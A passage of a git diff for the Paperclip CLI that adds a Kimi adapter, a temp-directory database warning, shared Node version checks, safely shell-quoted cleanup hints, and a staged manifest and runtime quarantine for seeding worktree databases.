+      const sourceConfig = buildSourceConfig();
+      sourceConfig.database = {
+        mode: "postgres",
+        embeddedPostgresDataDir: sourcePaths.embeddedPostgresDataDir,
+        embeddedPostgresPort: 54329,
+        backup: {
+          enabled: true,
+          intervalMinutes: 60,
+          retentionDays: 30,
+          dir: sourcePaths.backupDir,
+        },
+        connectionString: sourceDb.connectionString,
+      };
+      sourceConfig.logging.logDir = sourcePaths.logDir;
+      sourceConfig.storage.localDisk.baseDir = sourcePaths.storageDir;
+      sourceConfig.secrets.localEncrypted.keyFilePath = sourcePaths.secretsKeyFilePath;
+      await seedValidWorktreeSource(sourceDb.connectionString);
       fs.writeFileSync(currentPaths.configPath, JSON.stringify(currentConfig, null, 2), "utf8");
       fs.writeFileSync(sourcePaths.configPath, JSON.stringify(sourceConfig, null, 2), "utf8");
       fs.writeFileSync(sourcePaths.secretsKeyFilePath, "source-secret", "utf8");
+      const worktreeSentinelPath = path.join(repoRoot, "user-worktree-file.txt");
+      fs.writeFileSync(worktreeSentinelPath, "preserve me", "utf8");
       fs.writeFileSync(
         currentPaths.envPath,
         [
@@ -1210,11 +2092,11 @@ describe("worktree helpers", () => {
       process.chdir(repoRoot);
 
       await currentDatabaseReservation.release();
-      await sourceDatabaseReservation.release();
 
       await worktreeReseedCommand({
         fromConfig: sourcePaths.configPath,
         yes: true,
+        backupTarget: true,
       });
 
       const rewrittenConfig = JSON.parse(fs.readFileSync(currentPaths.configPath, "utf8"));
@@ -1226,9 +2108,13 @@ describe("worktree helpers", () => {
       expect(rewrittenEnv).toContain(`PAPERCLIP_INSTANCE_ID=${currentInstanceId}`);
       expect(rewrittenEnv).toContain("PAPERCLIP_WORKTREE_NAME=existing-name");
       expect(rewrittenEnv).toContain("PAPERCLIP_WORKTREE_COLOR=\"#112233\"");
+      expect(fs.readFileSync(worktreeSentinelPath, "utf8")).toBe("preserve me");
+      expect(
+        fs.readdirSync(path.join(currentPaths.backupDir, "repair")).some((name) => name.endsWith(".sql.gz")),
+      ).toBe(true);
     } finally {
       await currentDatabaseReservation.release();
-      await sourceDatabaseReservation.release();
+      await sourceDb.cleanup();
       process.chdir(originalCwd);
       if (originalPaperclipConfig === undefined) {
         delete process.env.PAPERCLIP_CONFIG;
diff --git a/cli/src/adapters/registry.ts b/cli/src/adapters/registry.ts
index f30e32eafb6..7dfa12db95a 100644
--- a/cli/src/adapters/registry.ts
+++ b/cli/src/adapters/registry.ts
@@ -5,6 +5,7 @@ import { printCursorStreamEvent } from "@paperclipai/adapter-cursor-local/cli";
 import { printCursorCloudEvent } from "@paperclipai/adapter-cursor-cloud/cli";
 import { printGeminiStreamEvent } from "@paperclipai/adapter-gemini-local/cli";
 import { printGrokStreamEvent } from "@paperclipai/adapter-grok-local/cli";
+import { printKimiStreamEvent } from "@paperclipai/adapter-kimi-local/cli";
 import { formatStdoutEvent as printHermesGatewayStreamEvent } from "@paperclipai/hermes-paperclip-adapter/gateway/cli";
 import { printHermesStreamEvent } from "@paperclipai/hermes-paperclip-adapter/cli";
 import { printOpenCodeStreamEvent } from "@paperclipai/adapter-opencode-local/cli";
@@ -53,6 +54,11 @@ const grokLocalCLIAdapter: CLIAdapterModule = {
   formatStdoutEvent: printGrokStreamEvent,
 };
 
+const kimiLocalCLIAdapter: CLIAdapterModule = {
+  type: "kimi_local",
+  formatStdoutEvent: printKimiStreamEvent,
+};
+
 const hermesGatewayCLIAdapter: CLIAdapterModule = {
   type: "hermes_gateway",
   formatStdoutEvent: printHermesGatewayStreamEvent,
@@ -78,6 +84,7 @@ const adaptersByType = new Map<string, CLIAdapterModule>(
     cursorCloudCLIAdapter,
     geminiLocalCLIAdapter,
     grokLocalCLIAdapter,
+    kimiLocalCLIAdapter,
     hermesGatewayCLIAdapter,
     hermesLocalCLIAdapter,
     openclawGatewayCLIAdapter,
diff --git a/cli/src/checks/database-check.ts b/cli/src/checks/database-check.ts
index 4d4ef811e11..8e15cad14a3 100644
--- a/cli/src/checks/database-check.ts
+++ b/cli/src/checks/database-check.ts
@@ -1,8 +1,16 @@
 import fs from "node:fs";
+import os from "node:os";
+import path from "node:path";
 import type { PaperclipConfig } from "../config/schema.js";
 import type { CheckResult } from "./index.js";
 import { resolveRuntimeLikePath } from "./path-resolver.js";
 
+function isInsideOsTmpDir(targetPath: string): boolean {
+  const tmpRoot = path.resolve(os.tmpdir());
+  const resolved = path.resolve(targetPath);
+  return resolved === tmpRoot || resolved.startsWith(`${tmpRoot}${path.sep}`);
+}
+
 export async function databaseCheck(config: PaperclipConfig, configPath?: string): Promise<CheckResult> {
   if (config.database.mode === "postgres") {
     if (!config.database.connectionString) {
@@ -37,9 +45,33 @@ export async function databaseCheck(config: PaperclipConfig, configPath?: string
 
   if (config.database.mode === "embedded-postgres") {
     const dataDir = resolveRuntimeLikePath(config.database.embeddedPostgresDataDir, configPath);
-    const reportedPath = dataDir;
+
+    // A worktree-mode instance whose data dir lives under the OS temp dir is a red
+    // flag: this is what happens when PAPERCLIP_HOME / PAPERCLIP_IN_WORKTREE leak
+    // into a PRIMARY instance's environment and silently relocate it to a throwaway
+    // temp home, so it boots an empty DB and locks everyone out. (Intentional
+    // ephemeral/CI instances that don't set PAPERCLIP_IN_WORKTREE are not flagged.)
+    // Check BEFORE creating the dir so we don't bootstrap the very temp location
+    // we're warning about.
+    if (isInsideOsTmpDir(dataDir) && process.env.PAPERCLIP_IN_WORKTREE === "true") {
+      return {
+        name: "Database",
+        status: "warn",
+        message:
+          `Embedded PostgreSQL data dir is inside the OS temp directory (${dataDir}) ` +
+          "while running in worktree mode (PAPERCLIP_IN_WORKTREE=true). Data stored here is " +
+          "ephemeral and will be lost on reboot or a temp cleanup. If this is your primary " +
+          "instance, PAPERCLIP_HOME / PAPERCLIP_IN_WORKTREE likely leaked into its environment, " +
+          "pointing it at a throwaway worktree home instead of your real data.",
+        canRepair: false,
+        repairHint:
+          "If this is the primary instance, unset PAPERCLIP_HOME and PAPERCLIP_IN_WORKTREE " +
+          "(or pass --data-dir <persistent path>) and restart so it uses the persistent instance.",
+      };
+    }
+
     if (!fs.existsSync(dataDir)) {
-      fs.mkdirSync(reportedPath, { recursive: true });
+      fs.mkdirSync(dataDir, { recursive: true });
     }
 
     return {
diff --git a/cli/src/checks/managed-install-check.ts b/cli/src/checks/managed-install-check.ts
index 025f1bf33f3..3f1447a4e77 100644
--- a/cli/src/checks/managed-install-check.ts
+++ b/cli/src/checks/managed-install-check.ts
@@ -7,6 +7,7 @@ import {
   type InstallStorePaths,
 } from "../install-store.js";
 import type { CheckResult } from "./index.js";
+import { isSupportedNodeVersion, MINIMUM_NODE_VERSION } from "@paperclipai/shared/node-version";
 
 function pathContains(directory: string): boolean {
   const normalized = path.resolve(directory);
@@ -33,14 +34,13 @@ function hasManagedArtifacts(paths: InstallStorePaths): boolean {
 }
 
 export function nodeRuntimeCheck(): CheckResult {
-  const major = Number.parseInt(process.versions.node.split(".")[0] ?? "0", 10);
-  return major >= 20
+  return isSupportedNodeVersion(process.versions.node)
     ? { name: "Node.js runtime", status: "pass", message: `Node.js ${process.versions.node}` }
     : {
         name: "Node.js runtime",
         status: "fail",
         message: `Node.js ${process.versions.node} is unsupported`,
-        repairHint: "Install Node.js 20 or newer before installing or running Paperclip",
+        repairHint: `Install Node.js ${MINIMUM_NODE_VERSION} or newer before installing or running Paperclip`,
       };
 }
 
diff --git a/cli/src/client/http.ts b/cli/src/client/http.ts
index 745cf15db27..dd4f784776d 100644
--- a/cli/src/client/http.ts
+++ b/cli/src/client/http.ts
@@ -233,7 +233,7 @@ function buildConnectionErrorMessage(input: {
     "This usually means the Paperclip server is not running, the configured URL is wrong, or the request is being blocked before it reaches Paperclip.",
     "",
     "Try:",
-    "- Start Paperclip with `pnpm dev` or `pnpm paperclipai run`.",
+    "- Start Paperclip with `pnpm dev` (from a source checkout) or `npx paperclipai run`.",
     `- Verify the server is reachable with \`curl ${healthUrl}\`.`,
     `- If Paperclip is running elsewhere, pass \`--api-base ${input.apiBase.replace(/\/+$/, "")}\` or set \`PAPERCLIP_API_URL\`.`,
   );
diff --git a/cli/src/commands/client/agent.ts b/cli/src/commands/client/agent.ts
index 6d6677e4244..3f81da6c6b3 100644
--- a/cli/src/commands/client/agent.ts
+++ b/cli/src/commands/client/agent.ts
@@ -93,7 +93,7 @@ interface CreatedAgentKey {
 }
 
 interface SkillsInstallSummary {
-  tool: "codex" | "claude";
+  tool: "codex" | "claude" | "kimi";
   target: string;
   linked: string[];
   removed: string[];
@@ -115,10 +115,16 @@ function claudeSkillsHome(): string {
   return path.join(base, "skills");
 }
 
+function kimiSkillsHome(): string {
+  const fromEnv = process.env.KIMI_CODE_HOME?.trim();
+  const base = fromEnv && fromEnv.length > 0 ? fromEnv : path.join(os.homedir(), ".kimi-code");
+  return path.join(base, "skills");
+}
+
 async function installSkillsForTarget(
   sourceSkillsDir: string,
   targetSkillsDir: string,
-  tool: "codex" | "claude",
+  tool: "codex" | "claude" | "kimi",
 ): Promise<SkillsInstallSummary> {
   const summary: SkillsInstallSummary = {
     tool,
@@ -771,7 +777,7 @@ export function registerAgentCommands(program: Command): void {
       .option("--key-name <name>", "API key label", "local-cli")
       .option(
         "--no-install-skills",
-        "Skip installing Paperclip skills into ~/.codex/skills and ~/.claude/skills",
+        "Skip installing Paperclip skills into ~/.codex/skills, ~/.claude/skills, and ~/.kimi-code/skills",
       )
       .action(async (agentRef: string, opts: AgentLocalCliOptions) => {
         try {
@@ -803,6 +809,7 @@ export function registerAgentCommands(program: Command): void {
             installSummaries.push(
               await installSkillsForTarget(skillsDir, codexSkillsHome(), "codex"),
               await installSkillsForTarget(skillsDir, claudeSkillsHome(), "claude"),
+              await installSkillsForTarget(skillsDir, kimiSkillsHome(), "kimi"),
             );
           }
 
diff --git a/cli/src/commands/env-lab.ts b/cli/src/commands/env-lab.ts
index 55227c9f631..2e65bd36bf1 100644
--- a/cli/src/commands/env-lab.ts
+++ b/cli/src/commands/env-lab.ts
@@ -1,4 +1,5 @@
 import path from "node:path";
+import { fileURLToPath } from "node:url";
 import type { Command } from "commander";
 import * as p from "@clack/prompts";
 import pc from "picocolors";
@@ -111,6 +112,76 @@ export async function envLabDownCommand(opts: { instance?: string; json?: boolea
   p.log.message(`State: ${pc.dim(statePath)}`);
 }
 
+// Quote one argument for a POSIX shell. The env-lab cleanup hint is copyable, so
+// a contributor can paste it into a shell. A checkout path can hold shell
+// metacharacters, such as `$`, a backtick, or a double quote. Inside double
+// quotes a POSIX shell still expands `$(...)`, a backtick pair, and `$NAME`, and
+// a double quote in the path ends the quoted span. So double quotes do not make
+// the path safe. Single quotes stop every expansion. This function wraps the
+// value in single quotes and rewrites each embedded single quote as the `'\''`
+// sequence. The shell then reads the exact path and runs no embedded command.
+function shellQuoteArgument(value: string): string {
+  return "'" + value.replace(/'/g, "'\\''") + "'";
+}
+
+// Describe how to re-run the env-lab CLI to stop the fixture. The bundled build
+// emits one `dist/index.js` file, so node runs that file directly and `tsxBin`
+// is `null`. A source checkout runs `src/index.ts` through the checked-out tsx
+// runner, because the entry is TypeScript.
+interface EnvLabCliInvocation {
+  entry: string;
+  tsxBin: string | null;
+}
+
+// Resolve how to re-run the CLI from the running module location. The cleanup
+// hint must run the same CLI that prints it, so it stops the correct version.
+// `import.meta.url` gives the running module. The bundled build runs this module
+// from `<cli>/dist/index.js`, so the hint runs that exact file with node. The
+// published package ships no `src` directory and no tsx runner. A source
+// checkout runs this module from `<cli>/src/commands/env-lab.ts`, so the hint
+// runs `<cli>/src/index.ts` through the checked-out tsx runner. This resolver
+// reads an absolute path from the module location, so the hint works from any
+// working directory. The `modulePath` parameter is a test seam; production
+// callers use the running module path.
+export function resolveEnvLabCliInvocation(
+  modulePath: string = fileURLToPath(import.meta.url),
+): EnvLabCliInvocation {
+  const moduleDir = path.dirname(modulePath);
+  const isSourceCheckout =
+    path.basename(moduleDir) === "commands" && path.basename(path.dirname(moduleDir)) === "src";
+  if (isSourceCheckout) {
+    const cliRoot = path.resolve(moduleDir, "..", "..");
+    return {
+      entry: path.join(cliRoot, "src", "index.ts"),
+      tsxBin: path.join(cliRoot, "node_modules", "tsx", "dist", "cli.mjs"),
+    };
+  }
+  return { entry: modulePath, tsxBin: null };
+}
+
+// Build the env-lab cleanup hint as a copyable shell command. The hint stops the
+// fixture that `env-lab doctor` inspected. It runs the same CLI that prints it,
+// so it stops the correct version, and it forwards the inspected instance, so it
+// stops the correct instance. It passes an inert `argv` value, so no shell reads
+// the argument. Each path and the instance id pass through `shellQuoteArgument`,
+// so a shell metacharacter stays inert when a contributor pastes the command.
+// The `invocation` parameter is a test seam; production callers use the resolved
+// running-module invocation.
+export function buildEnvLabCleanupCommand(
+  opts: { instance?: string; invocation?: EnvLabCliInvocation } = {},
+): string {
+  const invocation = opts.invocation ?? resolveEnvLabCliInvocation();
+  const parts = ["node"];
+  if (invocation.tsxBin !== null) {
+    parts.push(shellQuoteArgument(invocation.tsxBin));
+  }
+  parts.push(shellQuoteArgument(invocation.entry), "env-lab down");
+  if (opts.instance !== undefined) {
+    parts.push("--instance", shellQuoteArgument(opts.instance));
+  }
+  return parts.join(" ");
+}
+
 export async function envLabDoctorCommand(opts: { instance?: string; json?: boolean }) {
   const status = await collectEnvLabDoctorStatus(opts);
 
@@ -138,7 +209,19 @@ export async function envLabDoctorCommand(opts: { instance?: string; json?: bool
     p.log.message(`State: ${pc.dim(status.statePath)}`);
   }
 
-  p.log.message(`Cleanup: ${pc.dim("pnpm paperclipai env-lab down")}`);
+  // The cleanup hint runs the same CLI that prints it, so it stops the correct
+  // version. The bundled build runs `dist/index.js`; a source checkout runs
+  // `src/index.ts` through the checked-out tsx runner. The hint uses absolute
+  // paths, so it works from any working directory. It passes an inert `argv`
+  // value, so no shell reads the argument. See `doc/CLI.md`, "safe invocation".
+  //
+  // The doctor diagnoses the instance that `resolvePaperclipInstanceId` selects
+  // from `opts.instance` or the `PAPERCLIP_INSTANCE_ID` environment variable.
+  // The hint pins that resolved instance, so a contributor who pastes the hint
+  // in a shell without `PAPERCLIP_INSTANCE_ID` stops the diagnosed fixture, not
+  // the default instance.
+  const cleanupInstance = resolvePaperclipInstanceId(opts.instance);
+  p.log.message(`Cleanup: ${pc.dim(buildEnvLabCleanupCommand({ instance: cleanupInstance }))}`);
 }
 
 export function registerEnvLabCommands(program: Command) {
diff --git a/cli/src/commands/install.ts b/cli/src/commands/install.ts
index 1667fe3b3bb..8559d83cb87 100644
--- a/cli/src/commands/install.ts
+++ b/cli/src/commands/install.ts
@@ -5,6 +5,7 @@ import { execFile } from "node:child_process";
 import { promisify } from "node:util";
 import * as p from "@clack/prompts";
 import pc from "picocolors";
+import { isSupportedNodeVersion, MINIMUM_NODE_VERSION } from "@paperclipai/shared/node-version";
 import {
   addManagedPathBlock,
   assertManagedShimWritable,
@@ -84,9 +85,8 @@ export function resolveGitInstallWorkspacePackages(checkoutPath: string): Releas
 }
 
 function assertSupportedNodeVersion(): void {
-  const major = Number(process.versions.node.split(".")[0]);
-  if (!Number.isFinite(major) || major < 20) {
-    throw new Error(`Managed installs require Node.js 20 or newer (found ${process.version}).`);
+  if (!isSupportedNodeVersion(process.versions.node)) {
+    throw new Error(`Managed installs require Node.js ${MINIMUM_NODE_VERSION} or newer (found ${process.version}).`);
   }
 }
 
diff --git a/cli/src/commands/worktree-lib.ts b/cli/src/commands/worktree-lib.ts
index 7da2857c5d6..4cdf7ef5364 100644
--- a/cli/src/commands/worktree-lib.ts
+++ b/cli/src/commands/worktree-lib.ts
@@ -5,12 +5,52 @@ import { expandHomePrefix } from "../config/home.js";
 
 export const DEFAULT_WORKTREE_HOME = "~/.paperclip-worktrees";
 export const WORKTREE_SEED_MODES = ["minimal", "full"] as const;
+export const WORKTREE_SEED_MANIFEST = "seed-manifest.json";
 export const WORKTREE_SEED_PENDING_MARKER = "seed-pending";
 export const WORKTREE_SEED_COMPLETE_MARKER = "seed-complete";
 export const WORKTREE_SEED_LOCK_MARKER = "seed.lock";
 
 export type WorktreeSeedMode = (typeof WORKTREE_SEED_MODES)[number];
 
+export const WORKTREE_SEED_PHASES = [
+  "pending",
+  "source_validation",
+  "snapshot",
+  "restore",
+  "migrations",
+  "execution_quarantine",
+  "routine_pause",
+  "workspace_rebind",
+  "post_restore_validation",
+  "complete",
+] as const;
+
+export type WorktreeSeedPhase = (typeof WORKTREE_SEED_PHASES)[number];
+export type WorktreeSeedState = "pending" | "running" | "verified" | "failed";
+
+export type WorktreeSeedManifest = {
+  version: 2;
+  source: {
+    instanceId: string;
+    configPath: string;
+  };
+  snapshotAt: string | null;
+  seedMode: WorktreeSeedMode;
+  migrationRevision: string | null;
+  targetInstanceId: string;
+  phase: WorktreeSeedPhase;
+  state: WorktreeSeedState;
+  attemptId: string;
+  startedAt: string | null;
+  finishedAt: string | null;
+  diagnostics: Array<{
+    phase: WorktreeSeedPhase;
+    status: "started" | "succeeded" | "failed";
+    at: string;
+    message?: string;
+  }>;
+};
+
 export type WorktreeSeedPlan = {
   mode: WorktreeSeedMode;
   excludedTables: string[];
@@ -54,6 +94,7 @@ export type WorktreeUiBranding = {
 };
 
 export type WorktreeSeedMarkerPaths = {
+  manifest: string;
   pending: string;
   complete: string;
   lock: string;
@@ -62,6 +103,7 @@ export type WorktreeSeedMarkerPaths = {
 export function resolveWorktreeSeedMarkerPaths(configPath: string): WorktreeSeedMarkerPaths {
   const configDir = path.dirname(path.resolve(configPath));
   return {
+    manifest: path.resolve(configDir, WORKTREE_SEED_MANIFEST),
     pending: path.resolve(configDir, WORKTREE_SEED_PENDING_MARKER),
     complete: path.resolve(configDir, WORKTREE_SEED_COMPLETE_MARKER),
     lock: path.resolve(configDir, WORKTREE_SEED_LOCK_MARKER),
diff --git a/cli/src/commands/worktree.ts b/cli/src/commands/worktree.ts
index fe07f3ce618..6b7c76ed70f 100644
--- a/cli/src/commands/worktree.ts
+++ b/cli/src/commands/worktree.ts
@@ -7,6 +7,7 @@ import {
   readdirSync,
   readFileSync,
   readlinkSync,
+  renameSync,
   rmSync,
   statSync,
   symlinkSync,
@@ -21,15 +22,28 @@ import { Readable } from "node:stream";
 import * as p from "@clack/prompts";
 import pc from "picocolors";
 import { and, eq, inArray, sql } from "drizzle-orm";
+import {
+  resolveCanonicalWorktreeSeedSource,
+  resolveRegisteredWorktreeSeedSource,
+} from "@paperclipai/shared/worktree-seed-source";
+import {
+  readWorktreePortRegistry,
+  withWorktreePortRegistryLock,
+  writeWorktreePortRegistry,
+} from "@paperclipai/shared/worktree-port-registry";
 import {
   applyPendingMigrations,
   agents,
+  authAccounts,
+  authUsers,
   assets,
   companies,
+  companyMemberships,
   createDb,
   documentRevisions,
   documents,
   ensurePostgresDatabase,
+  executionWorkspaces,
   formatDatabaseBackupResult,
   goals,
   heartbeatRuns,
@@ -38,6 +52,7 @@ import {
   issueComments,
   issueDocuments,
   issues,
+  instanceUserRoles,
   projectWorkspaces,
   projects,
   routines,
@@ -45,8 +60,10 @@ import {
   runDatabaseBackup,
   runDatabaseRestore,
   resetPostgresDatabase,
+  workspaceRuntimeServices,
   createEmbeddedPostgresLogBuffer,
   formatEmbeddedPostgresError,
+  loadWithoutEmbeddedPostgresExitHooks,
   prepareEmbeddedPostgresNativeRuntime,
 } from "@paperclipai/db";
 import type { Command } from "commander";
@@ -63,13 +80,16 @@ import {
   formatShellExports,
   generateWorktreeColor,
   isWorktreeSeedMode,
+  WORKTREE_SEED_PHASES,
   resolveSuggestedWorktreeName,
   resolveWorktreeSeedPlan,
   resolveWorktreeSeedMarkerPaths,
   resolveWorktreeLocalPaths,
   sanitizeWorktreeInstanceId,
   type WorktreeSeedPlan,
+  type WorktreeSeedManifest,
   type WorktreeSeedMode,
+  type WorktreeSeedPhase,
   type WorktreeLocalPaths,
 } from "./worktree-lib.js";
 import {
@@ -135,6 +155,7 @@ type WorktreeReseedOptions = {
   preserveLiveWork?: boolean;
   yes?: boolean;
   allowLiveTarget?: boolean;
+  backupTarget?: boolean;
 };
 
 type WorktreeRepairOptions = {
@@ -155,6 +176,9 @@ type WorktreeEnsureSeededOptions = {
   fromDataDir?: string;
   fromInstance?: string;
   preserveLiveWork?: boolean;
+  registeredBaseWorkspaceCwd?: string;
+  registeredProjectWorkspaceId?: string;
+  expectedCompanyId?: string;
 };
 
 type EmbeddedPostgresInstance = {
@@ -195,6 +219,8 @@ type CopiedGitHooksResult = {
 
 type SeedWorktreeDatabaseResult = {
   backupSummary: string;
+  snapshotAt: string;
+  migrationRevision: string;
   pausedScheduledRoutines: number;
   executionQuarantine: SeededWorktreeExecutionQuarantineSummary;
   reboundWorkspaces: Array<{
@@ -202,37 +228,47 @@ type SeedWorktreeDatabaseResult = {
     fromCwd: string;
     toCwd: string;
   }>;
+  validation: WorktreeSeedValidationSummary;
 };
 
-type WorktreeSeedPendingMarker = {
-  version: 1;
-  state: "pending";
-  sourceConfigPath: string;
-  seedMode: "minimal";
-  createdAt: string;
-};
-
-type WorktreeSeedCompleteMarker = {
-  version: 1;
-  state: "complete";
-  seedMode: WorktreeSeedMode;
-  completedAt: string;
+export type WorktreeSeedValidationSummary = {
+  authUserCount: number;
+  credentialAccountCount: number;
+  instanceAdminCount: number;
+  activeMembershipCount: number;
+  companyCount: number;
+  issueCount: number;
+  representativeCompanyId: string;
+  representativeIssueId: string;
+  migrationRevision: string;
 };
 
 type SeedWorktreeDatabase = typeof seedWorktreeDatabase;
 
 export type EnsureWorktreeSeededResult = {
   seeded: boolean;
-  reason: "seeded" | "complete_marker" | "legacy_unmarked";
+  reason:
+    | "seeded"
+    | "verified_manifest"
+    | "complete_marker"
+    | "legacy_unmarked"
+    | "legacy_database";
   details?: SeedWorktreeDatabaseResult;
 };
 
+export type LegacyWorktreeDatabaseEvidence = {
+  migrationRevision: string;
+};
+
 export type SeededWorktreeExecutionQuarantineSummary = {
   disabledTimerHeartbeats: number;
   resetRunningAgents: number;
   quarantinedInProgressIssues: number;
   unassignedTodoIssues: number;
   unassignedReviewIssues: number;
+  stoppedProjectWorkspaceRuntimes: number;
+  stoppedExecutionWorkspaceRuntimes: number;
+  stoppedRuntimeServices: number;
 };
 
 function nonEmpty(value: string | null | undefined): string | null {
@@ -256,6 +292,9 @@ function formatSeededWorktreeExecutionQuarantineSummary(
     `quarantined in-progress issues: ${summary.quarantinedInProgressIssues}`,
     `unassigned todo issues: ${summary.unassignedTodoIssues}`,
     `unassigned review issues: ${summary.unassignedReviewIssues}`,
+    `stopped project workspace runtimes: ${summary.stoppedProjectWorkspaceRuntimes}`,
+    `stopped execution workspace runtimes: ${summary.stoppedExecutionWorkspaceRuntimes}`,
+    `stopped runtime services: ${summary.stoppedRuntimeServices}`,
   ].join(", ");
 }
 
@@ -562,13 +601,24 @@ function resolveRepoManagedWorktreesRoot(cwd: string): string | null {
   return path.resolve(repoRoot, ".paperclip", "worktrees");
 }
 
-function collectClaimedWorktreePorts(homeDir: string, currentInstanceId: string, cwd: string): {
+function collectClaimedWorktreePorts(
+  homeDir: string,
+  currentInstanceId: string,
+  cwd: string,
+  registeredConfigPaths: Iterable<string> = [],
+): {
   serverPorts: Set<number>;
   databasePorts: Set<number>;
 } {
   const serverPorts = new Set<number>();
   const databasePorts = new Set<number>();
   const configPaths = new Set<string>();
+  for (const configPath of registeredConfigPaths) {
+    const resolvedConfigPath = path.resolve(configPath);
+    if (resolvedConfigPath !== path.resolve(cwd, ".paperclip", "config.json") && existsSync(resolvedConfigPath)) {
+      configPaths.add(resolvedConfigPath);
+    }
+  }
   const instancesDir = path.resolve(homeDir, "instances");
   if (existsSync(instancesDir)) {
     for (const entry of readdirSync(instancesDir, { withFileTypes: true })) {
@@ -598,8 +648,13 @@ function collectClaimedWorktreePorts(homeDir: string, currentInstanceId: string,
       if (config?.server.port) {
         serverPorts.add(config.server.port);
       }
-      if (config?.database.mode === "embedded-postgres") {
-        databasePorts.add(config.database.embeddedPostgresPort);
+      const databasePort = config?.database.embeddedPostgresPort;
+      if (
+        typeof databasePort === "number" &&
+        Number.isInteger(databasePort) &&
+        databasePort > 0
+      ) {
+        databasePorts.add(databasePort);
       }
     } catch {
       // Ignore malformed sibling configs.
@@ -1084,11 +1139,15 @@ export function copySeededSecretsKey(input: {
   }
 }
 
-async function ensureEmbeddedPostgres(dataDir: string, preferredPort: number): Promise<EmbeddedPostgresHandle> {
+export async function ensureEmbeddedPostgres(
+  dataDir: string,
+  preferredPort: number,
+  options: { allowExisting?: boolean } = {},
+): Promise<EmbeddedPostgresHandle> {
   const moduleName = "embedded-postgres";
   let EmbeddedPostgres: EmbeddedPostgresCtor;
   try {
-    const mod = await import(moduleName);
+    const mod = await loadWithoutEmbeddedPostgresExitHooks(() => import(moduleName));
     EmbeddedPostgres = mod.default as EmbeddedPostgresCtor;
   } catch {
     throw new Error(
@@ -1100,6 +1159,12 @@ async function ensureEmbeddedPostgres(dataDir: string, preferredPort: number): P
   const postmasterPidFile = path.resolve(dataDir, "postmaster.pid");
   const runningPid = readRunningPostmasterPid(postmasterPidFile);
   if (runningPid) {
+    if (options.allowExisting === false) {
+      throw new Error(
+        `Cannot seed target embedded PostgreSQL at ${dataDir} while it is already running (pid=${runningPid}). `
+        + "Stop the worktree service that owns this database, then retry the seed.",
+      );
+    }
     return {
       port: readPidFilePort(postmasterPidFile) ?? preferredPort,
       startedByThisProcess: false,
@@ -1187,6 +1252,9 @@ const EMPTY_SEEDED_WORKTREE_EXECUTION_QUARANTINE_SUMMARY: SeededWorktreeExecutio
   quarantinedInProgressIssues: 0,
   unassignedTodoIssues: 0,
   unassignedReviewIssues: 0,
+  stoppedProjectWorkspaceRuntimes: 0,
+  stoppedExecutionWorkspaceRuntimes: 0,
+  stoppedRuntimeServices: 0,
 };
 
 function isRecord(value: unknown): value is Record<string, unknown> {
@@ -1218,6 +1286,36 @@ function normalizeWorktreeRuntimeConfig(runtimeConfig: unknown): {
   return { runtimeConfig: nextRuntimeConfig, disabledTimerHeartbeat: false, changed: false };
 }
 
+function stopSeededWorkspaceRuntime(
+  metadata: unknown,
+  configKey: "config" | "runtimeConfig",
+): { metadata: Record<string, unknown>; changed: boolean } {
+  const nextMetadata = isRecord(metadata) ? { ...metadata } : {};
+  const currentConfig = isRecord(nextMetadata[configKey])
+    ? { ...(nextMetadata[configKey] as Record<string, unknown>) }
+    : null;
+  if (!currentConfig) return { metadata: nextMetadata, changed: false };
+
+  let changed = false;
+  if (currentConfig.desiredState === "running") {
+    currentConfig.desiredState = "stopped";
+    changed = true;
+  }
+
+  if (isRecord(currentConfig.serviceStates)) {
+    const nextServiceStates = { ...currentConfig.serviceStates };
+    for (const [serviceIndex, state] of Object.entries(nextServiceStates)) {
+      if (state !== "running") continue;
+      nextServiceStates[serviceIndex] = "stopped";
+      changed = true;
+    }
+    if (changed) currentConfig.serviceStates = nextServiceStates;
+  }
+
+  if (changed) nextMetadata[configKey] = currentConfig;
+  return { metadata: nextMetadata, changed };
+}
+
 export async function quarantineSeededWorktreeExecutionState(
   connectionString: string,
 ): Promise<SeededWorktreeExecutionQuarantineSummary> {
@@ -1300,6 +1398,50 @@ export async function quarantineSeededWorktreeExecutionState(
           summary.unassignedReviewIssues += 1;
         }
       }
+
+      const seededProjectWorkspaces = await tx
+        .select({ id: projectWorkspaces.id, metadata: projectWorkspaces.metadata })
+        .from(projectWorkspaces);
+      for (const workspace of seededProjectWorkspaces) {
+        const stopped = stopSeededWorkspaceRuntime(workspace.metadata, "runtimeConfig");
+        if (!stopped.changed) continue;
+        await tx
+          .update(projectWorkspaces)
+          .set({ metadata: stopped.metadata, updatedAt: new Date() })
+          .where(eq(projectWorkspaces.id, workspace.id));
+        summary.stoppedProjectWorkspaceRuntimes += 1;
+      }
+
+      const seededExecutionWorkspaces = await tx
+        .select({ id: executionWorkspaces.id, metadata: executionWorkspaces.metadata })
+        .from(executionWorkspaces);
+      for (const workspace of seededExecutionWorkspaces) {
+        const stopped = stopSeededWorkspaceRuntime(workspace.metadata, "config");
+        if (!stopped.changed) continue;
+        await tx
+          .update(executionWorkspaces)
+          .set({ metadata: stopped.metadata, updatedAt: new Date() })
+          .where(eq(executionWorkspaces.id, workspace.id));
+        summary.stoppedExecutionWorkspaceRuntimes += 1;
+      }
+
+      const now = new Date();
+      const stoppedRuntimeServices = await tx
+        .update(workspaceRuntimeServices)
+        .set({
+          status: "stopped",
+          healthStatus: "unknown",
+          providerRef: null,
+          ownerAgentId: null,
+          startedByRunId: null,
+          port: null,
+          url: null,
+          stoppedAt: now,
+          lastUsedAt: now,
+          updatedAt: now,
+        })
+        .returning({ id: workspaceRuntimeServices.id });
+      summary.stoppedRuntimeServices = stoppedRuntimeServices.length;
     });
 
     return summary;
@@ -1308,6 +1450,233 @@ export async function quarantineSeededWorktreeExecutionState(
   }
 }
 
+type WorktreeSeedValidationExpectation = {
+  adminUserId: string;
+  representativeCompanyId: string;
+  representativeIssueId: string;
+};
+
+export function requiresWorktreeSeedCredentialAccount(
+  deploymentMode: PaperclipConfig["server"]["deploymentMode"],
+): boolean {
+  return deploymentMode === "authenticated";
+}
+
+export function resolveWorktreeSeedMigrationRevision(
+  migrationState: Awaited<ReturnType<typeof inspectMigrations>>,
+  requirement: "sourcePrefix" | "upToDate",
+): string {
+  const expectedAppliedPrefix = migrationState.availableMigrations.slice(
+    0,
+    migrationState.appliedMigrations.length,
+  );
+  const appliedMigrationNames = new Set(migrationState.appliedMigrations);
+  if (
+    appliedMigrationNames.size !== expectedAppliedPrefix.length ||
+    expectedAppliedPrefix.some((migration) => !appliedMigrationNames.has(migration))
+  ) {
+    throw new Error("Migration journal is not a prefix of this Paperclip checkout's migration journal.");
+  }
+
